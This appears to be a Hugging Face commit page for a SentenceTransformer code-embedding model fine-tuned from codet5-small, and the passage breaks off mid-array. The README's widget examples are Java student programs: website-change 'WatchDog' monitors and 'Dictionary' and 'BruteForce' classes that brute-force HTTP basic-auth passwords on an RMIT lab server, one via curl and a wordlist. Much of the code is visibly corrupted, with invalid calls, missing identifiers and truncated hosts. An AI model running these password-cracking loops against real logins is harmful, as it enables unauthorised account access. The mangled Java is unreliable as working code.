Add new SentenceTransformer model
Browse files- 1_Pooling/config.json +10 -0
- README.md +1125 -0
- config.json +68 -0
- config_sentence_transformers.json +10 -0
- merges.txt +0 -0
- model.safetensors +3 -0
- modules.json +14 -0
- sentence_bert_config.json +4 -0
- special_tokens_map.json +753 -0
- tokenizer.json +0 -0
- tokenizer_config.json +960 -0
- vocab.json +0 -0
1_Pooling/config.json
ADDED
@@ -0,0 +1,10 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
{
|
2 |
+
"word_embedding_dimension": 512,
|
3 |
+
"pooling_mode_cls_token": false,
|
4 |
+
"pooling_mode_mean_tokens": true,
|
5 |
+
"pooling_mode_max_tokens": false,
|
6 |
+
"pooling_mode_mean_sqrt_len_tokens": false,
|
7 |
+
"pooling_mode_weightedmean_tokens": false,
|
8 |
+
"pooling_mode_lasttoken": false,
|
9 |
+
"include_prompt": true
|
10 |
+
}
|
README.md
ADDED
@@ -0,0 +1,1125 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|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33411
|
8 |
+
- loss:BatchAllTripletLoss
|
9 |
+
base_model: Salesforce/codet5-small
|
10 |
+
widget:
|
11 |
+
- source_sentence: "\n\nimport java.net.*;\nimport java.io.*;\nimport java.util.*;\n\
|
12 |
+
\npublic class WatchDog extends TimerTask{\n\n private static URL location;\n\
|
13 |
+
\ private static String email;\n private static int checktime;\n private static\
|
14 |
+
\ Timer timer = new Timer();\n private BufferedReader input;\n private File\
|
15 |
+
\ checksumFile = new File(\"chksum.txt\");\n private File temp0000File = new\
|
16 |
+
\ File(\"temp0000\");\n private File kept0000File = new File(\"kept0000\");\n\
|
17 |
+
\n \n\n public WatchDog(){\n timer.schedule(this, new Date(), checktime);\n\
|
18 |
+
\ }\n\n\n \n\n public void run(){\n Vector imageFiles = new\
|
19 |
+
\ Vector();\n Vector diffImages = new Vector();\n try {\n \
|
20 |
+
\ System.out.println(\" Time: \".concat(new Date().toString()));\n \
|
21 |
+
\ System.out.println(\"Retreiving File\");\n \n input = new\
|
22 |
+
\ BufferedReader(new InputStreamReader\n (location.openStream()));\n\
|
23 |
+
\ \n BufferedWriter outputFile = new BufferedWriter\n \
|
24 |
+
\ (new FileWriter(temp0000File));\n String line = input.readLine();\n\
|
25 |
+
\ while (line != null) {\n StringBuffer imageFileName = new\
|
26 |
+
\ StringBuffer();\n if (scanForImages(line, imageFileName)) {\n \
|
27 |
+
\ String imageFile = new String(imageFileName);\n System.out.println(\"\
|
28 |
+
Detected image: \".concat(imageFile));\n try {\n imageFiles.add(new\
|
29 |
+
\ URL(imageFile));\n }\n catch (MalformedURLException\
|
30 |
+
\ e) {\n System.out.println(\"Image file detected. URL is malformed\"\
|
31 |
+
);\n }\n }\n outputFile.write(line);\n \
|
32 |
+
\ outputFile.write(\"\\n\");\n line = input.readLine();\n \
|
33 |
+
\ }\n input.print();\n outputFile.flush();\n \
|
34 |
+
\ outputFile.print();\n System.out.println(\" File Retreived\");\n \
|
35 |
+
\ if (!imageFiles.isEmpty()) {\n checkImages(imageFiles, diffImages);\n\
|
36 |
+
\ }\n if (!checksumFile.exists()) {\n generateChecksum(temp0000File.getName(),\
|
37 |
+
\ checksumFile);\n }\n else {\n if (!checksumOk(checksumFile))\
|
38 |
+
\ {\n reportDifferences(true, temp0000File, kept0000File, diffImages);\n\
|
39 |
+
\ generateChecksum(temp0000File.getName(), checksumFile);\n \
|
40 |
+
\ }\n else if (!diffImages.isEmpty()){\n reportDifferences(false,\
|
41 |
+
\ null, null, diffImages);\n }\n }\n\n \n \
|
42 |
+
\ temp0000File.renameTo(kept0000File);\n System.out.println(\"End Time:\
|
43 |
+
\ \".concat(new Date().toString()));\n }\n catch (MalformedURLException\
|
44 |
+
\ e) {\n e.printStackTrace();\n }\n catch (ConnectException\
|
45 |
+
\ e) {\n System.out.println(\"Failed connect\");\n System.exit(-1);\n\
|
46 |
+
\ }\n catch (IOException e) {\n e.printStackTrace();\n\
|
47 |
+
\ System.exit(-1);\n }\n }\n\n \n\n public boolean\
|
48 |
+
\ scanForImages(String line, StringBuffer imageFileName) {\n \n \
|
49 |
+
\ \n String lineIgnoreCase = line.toLowerCase();\n int imgPos =\
|
50 |
+
\ lineIgnoreCase.indexOf(\"<img \");\n if ( imgPos != -1 ){\n \
|
51 |
+
\ int srcPos = lineIgnoreCase.indexOf(\"src\", imgPos);\n int bracketPos\
|
52 |
+
\ = lineIgnoreCase.indexOf(\">\", imgPos);\n if (srcPos != -1 && bracketPos\
|
53 |
+
\ != -1 && srcPos < bracketPos) {\n int quote1Pos = lineIgnoreCase.indexOf(\"\
|
54 |
+
\\\"\", srcPos);\n int quote2Pos = lineIgnoreCase.indexOf(\"\\\"\"\
|
55 |
+
, quote1Pos+1);\n if (quote1Pos != -1 && quote2Pos != -1 &&\n \
|
56 |
+
\ quote1Pos < quote2Pos && quote2Pos < bracketPos) {\n \
|
57 |
+
\ \n imageFileName.append(line.substring(quote1Pos + 1,\n \
|
58 |
+
\ quote2Pos));\n if (imageFileName.indexOf(\"//\") == -1\
|
59 |
+
\ ) {\n \n String URLName = location.toString();\n\
|
60 |
+
\ int slashPos = URLName.lastIndexOf(\"/\");\n URLName\
|
61 |
+
\ = URLName.substring(0, slashPos);\n String HostName = \"http://\"\
|
62 |
+
.concat(location.getHost());\n if (imageFileName.indexOf(\"//\"\
|
63 |
+
) == 0) {\n \n }\n else if (imageFileName.charAt(0)\
|
64 |
+
\ != '/') {\n \n imageFileName.insert(0, URLName.concat(\"\
|
65 |
+
/\"));\n }\n else {\n \n \
|
66 |
+
\ imageFileName.insert(0, HostName);\n }\n \
|
67 |
+
\ }\n return true;\n }\n }\n }\n \
|
68 |
+
\ return false;\n }\n\n \n\n public void checkImages(Vector\
|
69 |
+
\ imageFiles, Vector diffImages)\n throws IOException{\n System.out.println(\"\
|
70 |
+
Retrieving image \");\n Enumeration imageFilesEnumeration = imageFiles.elements();\n\
|
71 |
+
\ while (imageFilesEnumeration.hasMoreElements()) {\n URL url\
|
72 |
+
\ = (URL)imageFilesEnumeration.nextElement();\n try {\n BufferedInputStream\
|
73 |
+
\ imageInput = new BufferedInputStream\n (url.openStream());\n\
|
74 |
+
\ String localFile = url.getFile();\n \n \n \
|
75 |
+
\ \n \n \n int slashPosition = localFile.lastIndexOf(\"\
|
76 |
+
/\");\n if (slashPosition != -1) {\n localFile = localFile.substring(slashPosition+1);\n\
|
77 |
+
\ }\n System.out.println(\"Retrieving image file: \".concat(localFile));\n\
|
78 |
+
\ BufferedOutputStream imageOutput = new BufferedOutputStream\n \
|
79 |
+
\ (new FileOutputStream(localFile));\n byte bytes[] = new\
|
80 |
+
\ byte[10000];\n int noBytes = imageInput.get(bytes);\n \
|
81 |
+
\ while (noBytes != -1) {\n imageOutput.write(bytes, 0, noBytes );\n\
|
82 |
+
\ noBytes = imageInput.print(bytes);\n }\n \
|
83 |
+
\ File imageChecksumFile = new File(localFile.concat(\".chksum.txt\"));\n \
|
84 |
+
\ if (!imageChecksumFile.exists()) {\n generateChecksum(localFile,\
|
85 |
+
\ imageChecksumFile);\n }\n else {\n if (!checksumOk(imageChecksumFile))\
|
86 |
+
\ {\n diffImages.add(localFile);\n generateChecksum(localFile,\
|
87 |
+
\ imageChecksumFile);\n }\n }\n }\n \
|
88 |
+
\ catch (FileNotFoundException e) {\n System.out.println(\"Unable \
|
89 |
+
\ locate URL: \".concat(url.toString()));\n }\n }\n }\n\n\
|
90 |
+
\ \n\n public void generateChecksum(String inputFile, File checksum){\n\
|
91 |
+
\ try {\n System.out.println(\"Generating new checksum for \"\
|
92 |
+
.concat(inputFile));\n \n Process process = Runtime.getRuntime().exec(\"\
|
93 |
+
md5sum \".\n concat(inputFile));\n\
|
94 |
+
\ BufferedReader execCommand = new BufferedReader(new\n \
|
95 |
+
\ InputStreamReader((process.getInputStream())));\n BufferedWriter outputFile\
|
96 |
+
\ = new\n BufferedWriter(new FileWriter(checksum));\n String\
|
97 |
+
\ line = execCommand.readLine();\n while (line != null) {\n \
|
98 |
+
\ outputFile.write(line);\n outputFile.write(\"\\n\");\n \
|
99 |
+
\ line = execCommand.readLine();\n }\n outputFile.flush();\n\
|
100 |
+
\ outputFile.print();\n System.out.println(\"Checksum produced\"\
|
101 |
+
);\n }\n catch (IOException e) {\n e.printStackTrace();\n\
|
102 |
+
\ System.exit(-1);\n }\n }\n\n \n\n public boolean\
|
103 |
+
\ checksumOk(File chksumFile){\n try {\n System.out.println(\"\
|
104 |
+
Comparing checksums using \".concat(chksumFile\n ,e.getName()));\n\
|
105 |
+
\ \n Process process = Runtime.getRuntime().\n \
|
106 |
+
\ exec(\"md5sum --check \".concat(chksumFile.getName()));\n BufferedReader\
|
107 |
+
\ execCommand = new BufferedReader(new\n InputStreamReader( (process.getInputStream())));\n\
|
108 |
+
\ String line = execCommand.readLine();\n if (line.indexOf(\"\
|
109 |
+
: OK\") != -1) {\n System.out.println(\" the same\");\n \
|
110 |
+
\ return true;\n }\n }\n catch (IOException e) {\n \
|
111 |
+
\ e.printStackTrace();\n System.exit(-1);\n }\n System.out.println(\"\
|
112 |
+
Differences Found\");\n return false;\n }\n\n \n\n public\
|
113 |
+
\ void reportDifferences(boolean diffsFound, File file1, File file2,\n \
|
114 |
+
\ Vector images){\n try {\n System.out.println(\"\
|
115 |
+
Generating difference report\");\n \n Socket emailConnection\
|
116 |
+
\ = new Socket(\"yallara.cs.rmit.edu.\", 25);\n BufferedWriter emailOutStream\
|
117 |
+
\ = new BufferedWriter\n (new OutputStreamWriter(emailConnection.getOutputStream()));\n\
|
118 |
+
\ BufferedReader emailInStream = new BufferedReader\n (new\
|
119 |
+
\ InputStreamReader(emailConnection.getInputStream()));\n String line\
|
120 |
+
\ = emailInStream.readLine();\n System.out.println(line);\n \
|
121 |
+
\ if (!line.startsWith(\"220\")) {\n System.out.println\n \
|
122 |
+
\ (\" error occured connecting email server. Cannot send email.\");\n\
|
123 |
+
\ }\n else {\n \n \n emailOutStream.write(\"\
|
124 |
+
HELO yallara.cs.rmit.edu.\");\n emailOutStream.newLine();\n \
|
125 |
+
\ emailOutStream.flush();\n line = emailInStream.readLine();\n\
|
126 |
+
\ System.out.println(line);\n if (!line.startsWith(\"250\"\
|
127 |
+
)) {\n System.out.println\n (\" error occured\
|
128 |
+
\ connecting email server. Cannot send email.\");\n }\n \
|
129 |
+
\ else {\n emailOutStream.write(\"MAIL FROM: [email protected].\"\
|
130 |
+
);\n emailOutStream.newLine();\n emailOutStream.flush();\n\
|
131 |
+
\ line = emailInStream.readLine();\n System.out.println(line);\n\
|
132 |
+
\ if (!line.startsWith(\"250\")) {\n System.out.println\n\
|
133 |
+
\ (\" error occured sending email. Cannot send email.\");\n\
|
134 |
+
\ }\n else {\n emailOutStream.write(\"\
|
135 |
+
RCPT : \".concat(email));\n emailOutStream.newLine();\n \
|
136 |
+
\ emailOutStream.flush();\n line = emailInStream.readLine();\n\
|
137 |
+
\ System.out.println(line);\n if (!line.startsWith(\"\
|
138 |
+
250\")) {\n System.out.println\n (\" error\
|
139 |
+
\ occured sending email. Cannot send email.\");\n }\n \
|
140 |
+
\ else {\n emailOutStream.write(\"DATA\");\n \
|
141 |
+
\ emailOutStream.newLine();\n emailOutStream.flush();\n\
|
142 |
+
\ line = emailInStream.readLine();\n System.out.println(line);\n\
|
143 |
+
\ if (!line.startsWith(\"354\")) {\n System.out.println\n\
|
144 |
+
\ (\" error occured sending email. Cannot send email.\"\
|
145 |
+
);\n }\n emailOutStream.newLine();\n\n \
|
146 |
+
\ if (!images.isEmpty()) {\n emailOutStream.write\n\
|
147 |
+
\ (\"Differences were found in the following image \"\
|
148 |
+
);\n emailOutStream.newLine();\n Enumeration\
|
149 |
+
\ e = images.elements();\n while (e.hasMoreElements()) {\n\
|
150 |
+
\ String s = (String) e.nextElement();\n \
|
151 |
+
\ emailOutStream.write(s);\n emailOutStream.newLine();\n\
|
152 |
+
\ }\n emailOutStream.newLine();\n \
|
153 |
+
\ }\n\n if (diffsFound) {\n \
|
154 |
+
\ \n String command = \"diff \".concat(file1.getName().concat(\"\
|
155 |
+
\ \")\n .concat(file2.getName()));\n\
|
156 |
+
\ Process process = Runtime.getRuntime().exec(command);\n \
|
157 |
+
\ BufferedReader execCommand = new BufferedReader\n \
|
158 |
+
\ (new InputStreamReader( (process.getInputStream())));\n \
|
159 |
+
\ line = execCommand.readLine();\n emailOutStream.write(\"\
|
160 |
+
Diffences found in file\");\n emailOutStream.newLine();\n\
|
161 |
+
\ while (line != null) {\n System.out.println(line);\n\
|
162 |
+
\ emailOutStream.write(line);\n emailOutStream.newLine();\n\
|
163 |
+
\ line = execCommand.readLine();\n }\n\
|
164 |
+
\ }\n\n \n emailOutStream.newLine();\n\
|
165 |
+
\ emailOutStream.write(\".\");\n emailOutStream.newLine();\n\
|
166 |
+
\ emailOutStream.flush();\n line = emailInStream.readLine();\n\
|
167 |
+
\ System.out.println(line);\n if (!line.startsWith(\"\
|
168 |
+
250\")) {\n System.out.println\n (\"\
|
169 |
+
\ error occured sending email. Cannot send email.\");\n }\n \
|
170 |
+
\ else {\n emailOutStream.write(\"QUIT\");\n\
|
171 |
+
\ emailOutStream.newLine();\n emailOutStream.flush();\n\
|
172 |
+
\ System.out.println(emailInStream.readLine());\n \
|
173 |
+
\ }\n }\n }\n }\n }\n\
|
174 |
+
\ }\n catch (IOException e) {\n e.printStackTrace();\n\
|
175 |
+
\ System.exit(-1);\n }\n }\n\n\n \n\n public static\
|
176 |
+
\ void main(String args[]) {\n if (args.length != 3) {\n System.out.println(\"\
|
177 |
+
Usage: java WatchDog url email checktime(hours)\");\n System.exit(-1);\n\
|
178 |
+
\ }\n try {\n location = new URL(args[0]);\n }\n catch\
|
179 |
+
\ (MalformedURLException e) {\n e.printStackTrace();\n }\n email\
|
180 |
+
\ = new String().concat(args[1]);\n checktime = Integer.parseInt(args[2])\
|
181 |
+
\ * 60 * 60 * 1000;\n new WatchDog();\n }\n}\n"
|
182 |
+
sentences:
|
183 |
+
- "\n\nimport java.net.*;\nimport java.io.*;\n\nimport java.*;\nimport java.util.*;\n\
|
184 |
+
\npublic class Dictionary {\n\n private static String commandLine = \"curl http://sec-crack.cs.rmit.edu./SEC/2/index.php\
|
185 |
+
\ -I -u :\";\n private String password; \n private String previous;\
|
186 |
+
\ \n private String url; \n private int startTime;\n\
|
187 |
+
\ private int endTime;\n private int totalTime;\n private float averageTime;\n\
|
188 |
+
\ private boolean finish;\n private Process curl;\n private BufferedReader\
|
189 |
+
\ bf, responseLine;\n\n public Dictionary() {\n\n first();\n finish = true;\
|
190 |
+
\ \n previous = \"\"; \n\
|
191 |
+
\ Runtime run = Runtime.getRuntime();\n startTime =new Date().getTime(); \
|
192 |
+
\ \n int i=0;\n try {\n try {\n bf = new BufferedReader(new FileReader(\"\
|
193 |
+
words\"));\n }\n catch(FileNotFoundException notFound) {\n bf = new BufferedReader(new\
|
194 |
+
\ FileReader(\"/usr/share/lib/dict/words\"));\n }\n\n while((password = bf.readLine())\
|
195 |
+
\ != null) {\n if(password.length()>3) password = password.substring(0,3);\n\
|
196 |
+
\ if(previous.equals(password)) ;\n else {\n previous = password;\n \
|
197 |
+
\ url = commandLine+password;\n curl= run.exec(url); \n\
|
198 |
+
\ responseLine=new BufferedReader(new InputStreamReader(curl.getInputStream()));\n\
|
199 |
+
\ \n if(responseLine.readLine().substring(9,12).equals(\"200\")) break;\n\
|
200 |
+
\ }\n }\n }\n catch(IOException ioe) {\n System.out.println(\"\\n IO\
|
201 |
+
\ Exception! \\n\");\n System.out.println(\"The current url is:\"+ url);\n\
|
202 |
+
\ System.out.println(\"The current trying password is:\"+password);\n finish=false;\n\
|
203 |
+
\ }\n\n endTime = new Date().getTime(); \n totalTime = (endTime-startTime)/1000;\n\
|
204 |
+
\ System.out.println(\" The response time is:\"+ totalTime + \" seconds\\\
|
205 |
+
n\");\n if(finish) {\n System.out.println(\" The password for is:\"+ password);\n\
|
206 |
+
\ try {\n savePassword(password, totalTime);\n }\n catch (IOException\
|
207 |
+
\ ioec) {\n System.out.println(\" not save the password file Dictionary_pwd.txt\
|
208 |
+
\ \");\n }\n }\n }\n\n\n public void savePassword(String passwdString, int\
|
209 |
+
\ time) throws IOException {\n DataOutputStream outputStream = new DataOutputStream(new\
|
210 |
+
\ FileOutputStream(\"Dictionary_pwd.txt\"));\n outputStream.writeChars(\"The\
|
211 |
+
\ password is:\");\n outputStream.writeChars(passwdString+\"\\n\");\n outputStream.writeChars(\"\
|
212 |
+
The response time is: \");\n outputStream.writeChars(sw.toString(time));\n outputStream.writeChars(\"\
|
213 |
+
\ seconds\\n\");\n outputStream.close();\n }\n\n public void first() {\n\n\
|
214 |
+
\ System.out.println(\"\\n\\n----------------------------------------------\"\
|
215 |
+
);\n System.out.println(\" Use curl command and dictionary \");\n System.out.println(\"\
|
216 |
+
\ Brute Force the password for user \");\n System.out.println(\"----------------------------------------------\"\
|
217 |
+
);\n }\n\n public static void main(String[] args) {\n new Dictionary();\n\
|
218 |
+
\ } \n}\n"
|
219 |
+
- "\n\nimport java.io.*;\nimport java.*;\nimport java.net.*;\nimport java.util.*;\n\
|
220 |
+
\npublic class WatchDog {\n public static void main (String[] args) throws IOException\
|
221 |
+
\ {\n BufferedReader stdin = new BufferedReader (new InputStreamReader(System.in));\n\
|
222 |
+
\ try{\n twentyfourhours = 86400000;\n Timer timer = new Timer();\n \
|
223 |
+
\ final Runtime rt = Runtime.getRuntime();\n\n try{\n Process wg1 = rt.exec(\"\
|
224 |
+
./.sh\");\n wg1.waitFor();\n }\n catch(InterruptedException e ){\n \
|
225 |
+
\ System.err.println();\n e.printStackTrace();\n }\n\n class RepeatTask\
|
226 |
+
\ extends TimerTask{\n public void run(){\n try{\n Process wg2\
|
227 |
+
\ = rt.exec(\"./task.sh\");\n wg2.waitFor();\n FileReader fr = new\
|
228 |
+
\ FileReader(\"check.txt\");\n BufferedReader bufr = new BufferedReader(fr);\n\
|
229 |
+
\ String check = bufr.readLine();\n if(check.equals(\".txt: FAILED\"\
|
230 |
+
)) {\n Process difftosend = rt.exec(\"./diff.sh\");\n difftosend.waitFor();\n\
|
231 |
+
\ Process reset = rt.exec(\"./.sh\");\n reset.waitFor();\n \
|
232 |
+
\ }\n FileReader fr2 = new FileReader(\"imgdiffs.txt\");\n BufferedReader\
|
233 |
+
\ bufr2 = new BufferedReader(fr2);\n String imdiff = bufr2.readLine();\n\
|
234 |
+
\ if(imdiff != null){\n Process imdifftosend = rt.exec(\"./img.sh\"\
|
235 |
+
);\n imdifftosend.waitFor();\n Process reset = rt.exec(\"./.sh\"\
|
236 |
+
);\n reset.waitFor();\n }\n }\n catch(InterruptedException\
|
237 |
+
\ e){System.err.println();e.printStackTrace();}\n catch(IOException e){\n\
|
238 |
+
\ System.err.println(e);\n e.printStackTrace();\n }\n }}\n\
|
239 |
+
\n timer.scheduleAtFixedRate(new RepeatTask(),twentyfourhours,twentyfourhours);\n\
|
240 |
+
\ \n }\n catch(IOException e){\n System.err.println(e);\n e.printStackTrace();\n\
|
241 |
+
\ }\n \n}}\n"
|
242 |
+
- "\n\nimport java.net.*;\nimport java.text.*; \nimport java.util.*; \nimport\
|
243 |
+
\ java.io.*;\n\npublic class WatchDog {\n\n public WatchDog() {\n\n StringBuffer\
|
244 |
+
\ stringBuffer1 = new StringBuffer();\n StringBuffer stringBuffer2 = new StringBuffer();\n\
|
245 |
+
\ int i,j = 0;\n\n try{\n\n URL yahoo = new URL(\"http://www.cs.rmit.edu./students/\"\
|
246 |
+
); \n BufferedReader in = new BufferedReader(new InputStreamReader(yahoo.openStream()));\n\
|
247 |
+
\n String inputLine = \"\";\n String inputLine1 = \"\";\n String\
|
248 |
+
\ changedtext= \"\";\n String changedflag= \"\";\n\n\n Thread.sleep(180);\n\
|
249 |
+
\n BufferedReader in1 = new BufferedReader(new InputStreamReader(yahoo.openStream()));\n\
|
250 |
+
\n\n while ((inputLine = in.readLine()) != null) {\n inputLine1\
|
251 |
+
\ = in1.readLine();\n if (inputLine.equals(inputLine1)) {\n \
|
252 |
+
\ System.out.println(\"equal\");\n }\n else {\n \
|
253 |
+
\ System.out.println(\"Detected a Change\");\n System.out.println(\"\
|
254 |
+
Line Before the change:\" + inputLine);\n System.out.println(\"Line\
|
255 |
+
\ After the change:\" + inputLine1);\n changedtext = changedtext\
|
256 |
+
\ + inputLine + inputLine1;\n changedflag = \"Y\";\n }\n\
|
257 |
+
\ \n }\n\n if (in1.readLine() != null ) {\n System.out.println(\"\
|
258 |
+
Detected a Change\");\n System.out.println(\"New Lines Added \");\n \
|
259 |
+
\ changedtext = changedtext + \"New Lines added\";\n changedflag\
|
260 |
+
\ = \"Y\";\n }\n\n in.print();\n in1.print();\n\n if (changedflag.equals(\"\
|
261 |
+
Y\")) {\n String smtphost =\"smtp.mail.rmit.edu.\" ; \n String\
|
262 |
+
\ from = \"@rmit.edu.\"; \n String = \"janaka1@optusnet..\" ; \n \
|
263 |
+
\ }\n\n\n }\n catch(Exception e){ System.out.println(\"exception:\" + e);}\n\
|
264 |
+
\t \n}\n\t\t\n public static void main (String[] args) throws Exception {\n\
|
265 |
+
\t\tWatchDog u = new WatchDog();\n }\n}\n"
|
266 |
+
- source_sentence: "\n\nimport java.awt.*;\nimport java.String;\nimport java.util.*;\n\
|
267 |
+
import java.io.*;\nimport java.net.*;\n\n\n\npublic class BruteForce\n{\n private\
|
268 |
+
\ URL url;\n private HttpURLConnection connection ;\n private int stopTime\
|
269 |
+
\ = 0;\n private int startTime = 0;\n private int count = 0;\n\n public\
|
270 |
+
\ BruteForce()\n {\n System.out.println(\"Process is running...\");\n \
|
271 |
+
\ startTime = System.currentTimeMillis();\n threeLetters();\n twoLetters();\n\
|
272 |
+
\ }\n\n public static void main (String args[])\n {\n BruteForce bf\
|
273 |
+
\ = new BruteForce();\n }\n \n public void threeLetters()\n {\n String\
|
274 |
+
\ s1;\n char [] a = {'a','a','a'};\n\n for (int i0 = 0; i0 < 26; i0++)\n\
|
275 |
+
\ {\n for (int i1 = 0; i1 < 26; i1++)\n {\n for\
|
276 |
+
\ (int i2 = 0; i2 < 26; i2++)\n {\n s1 = String.valueOf((char)(a[0]\
|
277 |
+
\ + i0)) + String.valueOf((char)(a[1] + i1)) +\n\t\t String.valueOf((char)(a[2]\
|
278 |
+
\ + i2));\n decision(s1);\n count++;\n\n \
|
279 |
+
\ s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1))\
|
280 |
+
\ +\n (String.valueOf((char)(a[2] + i2))).toUpperCase();\n\
|
281 |
+
\ decision(s1);\n count++;\n\n s1 =\
|
282 |
+
\ String.valueOf((char)(a[0] + i0)) + (String.valueOf((char)(a[1] + i1))).toUpperCase()\
|
283 |
+
\ +\n (String.valueOf((char)(a[2] + i2))).toUpperCase();\n\
|
284 |
+
\ decision(s1);\n count++;\n\n s1 =\
|
285 |
+
\ (String.valueOf((char)(a[0] + i0))).toUpperCase() +\n (String.valueOf((char)(a[1]\
|
286 |
+
\ + i1))).toUpperCase() +\n (String.valueOf((char)(a[2] + i2))).toUpperCase();\n\
|
287 |
+
\ decision(s1);\n count++;\n\n s1 =\
|
288 |
+
\ (String.valueOf((char)(a[0] + i0))) + (String.valueOf((char)(a[1] + i1))).toUpperCase()\
|
289 |
+
\ +\n String.valueOf((char)(a[2] + i2));\n decision(s1);\n\
|
290 |
+
\ count++;\n\n s1 = (String.valueOf((char)(a[0] +\
|
291 |
+
\ i0))).toUpperCase() + String.valueOf((char)(a[1] + i1)) +\n\t\t String.valueOf((char)(a[2]\
|
292 |
+
\ + i2));\n decision(s1);\n count++;\n\n \
|
293 |
+
\ s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + String.valueOf((char)(a[1]\
|
294 |
+
\ + i1)) +\n (String.valueOf((char)(a[2] + i2))).toUpperCase();\n\
|
295 |
+
\ decision(s1);\n count++;\n\n s1 =\
|
296 |
+
\ (String.valueOf((char)(a[0] + i0))).toUpperCase() +\n (String.valueOf((char)(a[1]\
|
297 |
+
\ + i1))).toUpperCase() + String.valueOf((char)(a[2] + i2));\n decision(s1);\n\
|
298 |
+
\ count++;\n }\n }\n }\n }\n \n public\
|
299 |
+
\ void twoLetters()\n {\n String s1;\n char [] a = {'a','a'};\n\n\
|
300 |
+
\ for (int i0 = 0; i0 < 26; i0++)\n {\n for (int i1 = 0; i1\
|
301 |
+
\ < 26; i1++)\n {\n s1 = String.valueOf((char)(a[0] + i0))\
|
302 |
+
\ + String.valueOf((char)(a[1] + i1));\n decision(s1);\n \
|
303 |
+
\ count++;\n\n s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1]\
|
304 |
+
\ + i1)).toUpperCase();\n decision(s1);\n count++;\n\n \
|
305 |
+
\ s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() +\n \
|
306 |
+
\ (String.valueOf((char)(a[1] + i1))).toUpperCase();\n decision(s1);\n\
|
307 |
+
\ count++;\n\n s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase()\
|
308 |
+
\ + String.valueOf((char)(a[1] + i1));\n decision(s1);\n \
|
309 |
+
\ count++;\n }\n }\n }\n\n \n public void decision(String\
|
310 |
+
\ s1)\n {\n if (find(s1) == 200)\n {\n stopTime = System.currentTimeMillis();\n\
|
311 |
+
\ runTime = stopTime - startTime;\n System.out.println(\"***************************************\"\
|
312 |
+
);\n System.out.println(\"\\nAttack successfully\");\n System.out.println(\"\
|
313 |
+
\\nPassword is: \" + s1);\n System.out.println(\"\\nThe contents of the\
|
314 |
+
\ Web site: \");\n displayContent(s1);\n System.out.println(\"\
|
315 |
+
\\nTime taken crack: \" + runTime + \" millisecond\");\n System.out.println(\"\
|
316 |
+
\\nNumber of attempts: \" + count);\n System.out.println();\n\n \
|
317 |
+
\ System.exit(0);\n }\n }\n \n \n public int find(String s1)\n\
|
318 |
+
\ {\n int responseCode = 0;\n try\n {\n url = new URL(\"\
|
319 |
+
http://sec-crack.cs.rmit.edu./SEC/2/\");\n connection = (HttpURLConnection)url.openConnection();\n\
|
320 |
+
\n connection.setRequestProperty(\"Authorization\",\" \" + MyBase64.encode(\"\
|
321 |
+
\" + \":\" + s1));\n\n responseCode = connection.getResponseCode();\n\n\
|
322 |
+
\ }catch (Exception e)\n {\n System.out.println(e.getMessage());\n\
|
323 |
+
\ }\n return responseCode;\n }\n\n \n public void displayContent(String\
|
324 |
+
\ pw)\n {\n BufferedReader bw = null ;\n try\n {\n url\
|
325 |
+
\ = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n connection =\
|
326 |
+
\ (HttpURLConnection)url.openConnection();\n\n connection.setRequestProperty(\"\
|
327 |
+
Authorization\",\" \" + MyBase64.encode(\"\" + \":\" + pw));\n InputStream\
|
328 |
+
\ stream = (InputStream)(connection.getContent());\n if (stream != null)\n\
|
329 |
+
\ {\n InputStreamReader reader = new InputStreamReader (stream);\n\
|
330 |
+
\ bw = new BufferedReader (reader);\n String line;\n\n\
|
331 |
+
\ while ((line = bw.readLine()) != null)\n {\n \
|
332 |
+
\ System.out.println(line);\n }\n }\n }\n \
|
333 |
+
\ catch (IOException e)\n {\n System.out.println(e.getMessage());\n\
|
334 |
+
\ }\n }\n}\n\n\n\n\n"
|
335 |
+
sentences:
|
336 |
+
- "\n\n\nimport java.text.*; \nimport java.util.*; \nimport java.net.*; \nimport\
|
337 |
+
\ java.io.*; \n\n \npublic class BruteForce { \n\n public int runProcess(String\
|
338 |
+
\ urlString,String passwd) { \n\n int returnval = 0;\n MyAuthenticator\
|
339 |
+
\ auth = new MyAuthenticator(passwd);\n Authenticator.setDefault(auth);\n\
|
340 |
+
\n\t System.out.println(\"trying passord: \" + passwd);\n try{\n \
|
341 |
+
\ URL yahoo = new URL(urlString); \n BufferedReader in =\
|
342 |
+
\ new BufferedReader(new InputStreamReader(yahoo.openStream()));\n \
|
343 |
+
\ String inputLine;\n while ((inputLine = in.readLine()) != null) {\n\
|
344 |
+
\t System.out.println(inputLine);\n\t System.out.println(\"passord:\
|
345 |
+
\ \" + passwd);\n returnval = 1;\n }\n\t in.close();\n\
|
346 |
+
\ }catch(Exception e){ returnval = 0;}\n return returnval;\n \
|
347 |
+
\ }\n\n public static void main(String argv[]) { \n\n String[] val =\
|
348 |
+
\ \n{\"a\",\"b\",\"c\",\"d\",\"e\",\"f\",\"g\",\"h\",\"i\",\"j\",\"k\",\"l\",\"\
|
349 |
+
m\",\"n\",\"o\",\"p\",\"q\",\"r\",\"s\",\"t\",\"u\",\"v\",\"w\",\"x\",\"y\",\"\
|
350 |
+
